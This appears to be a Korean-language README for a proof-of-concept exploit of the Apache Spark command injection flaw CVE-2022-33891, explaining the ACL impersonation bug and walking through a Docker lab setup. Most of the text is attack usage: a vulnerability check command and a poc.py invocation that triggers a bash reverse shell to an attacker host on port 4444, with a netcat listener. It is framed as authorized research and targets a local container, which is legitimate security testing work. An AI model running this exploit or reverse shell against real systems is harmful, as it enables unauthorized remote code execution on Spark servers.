
Proof-of-concept 익스플로잇으로, Apache Spark 명령 주입(CVE-2022-33891)에 대한 검사 및 리버스 셸 모드를 제공하여 인가된 보안 테스트를 가능하게 합니다.
⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요
원본 PoC 작성자 AkbarTrilaksana께 깊은 감사를 드립니다.
Apache Spark UI는 구성 옵션 spark.acls.enable을 통해 ACL을 활성화할 수 있는 기능을 제공합니다. 인증 필터와 함께 사용하면 사용자가 애플리케이션을 보거나 수정할 수 있는 접근 권한이 있는지 확인합니다. ACL이 활성화된 경우 HttpSecurityFilter의 코드 경로를 통해 임의의 사용자 이름을 제공하여 가장을 수행할 수 있습니다. 악의적인 사용자는 결국 자신의 입력을 기반으로 Unix 셸 명령을 구성하고 실행하는 권한 확인 함수에 도달할 수 있습니다. 이로 인해 Spark가 현재 실행 중인 사용자로 임의의 셸 명령이 실행됩니다. 이 취약점은 Apache Spark 버전 3.0.3 이하, 3.1.13.1.2, 3.2.03.2.1에 영향을 미칩니다.
먼저, 리포지토리를 복제합니다
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
디렉토리를 변경합니다
cd CVE-2022-33891
종속성을 설치합니다:
pip3 install -r requirements.txt --break-system-packages
컨테이너를 실행합니다
docker compose up
새 터미널에서 다음 명령을 실행합니다
docker exec -it CVE-2022-33891-spark-1 /bin/bash
컨테이너 bash 세션에서 다음을 입력합니다:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
선택적으로 spark-defaults.conf의 내용을 cat 명령어로 확인하여 올바른지 확인합니다.
대화형 bash 셸을 종료하고 docker-compose 프로세스를 Ctrl+C로 중지합니다.
컨테이너가 정상적으로 종료되면 docker-compose up을 다시 실행합니다
docker compose up
대상이 취약한지 확인합니다:
python3 poc.py -u http://localhost -p 8080 --check
공격자 관점에서 원격 코드 실행은 대화형 셸에 접근하기 위해 중요합니다. 따라서 다음 명령을 실행하면 bash 기반 TCP 텔넷 리버스 셸이 공격자의 시스템 포트 4444/tcp로 트리거됩니다:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444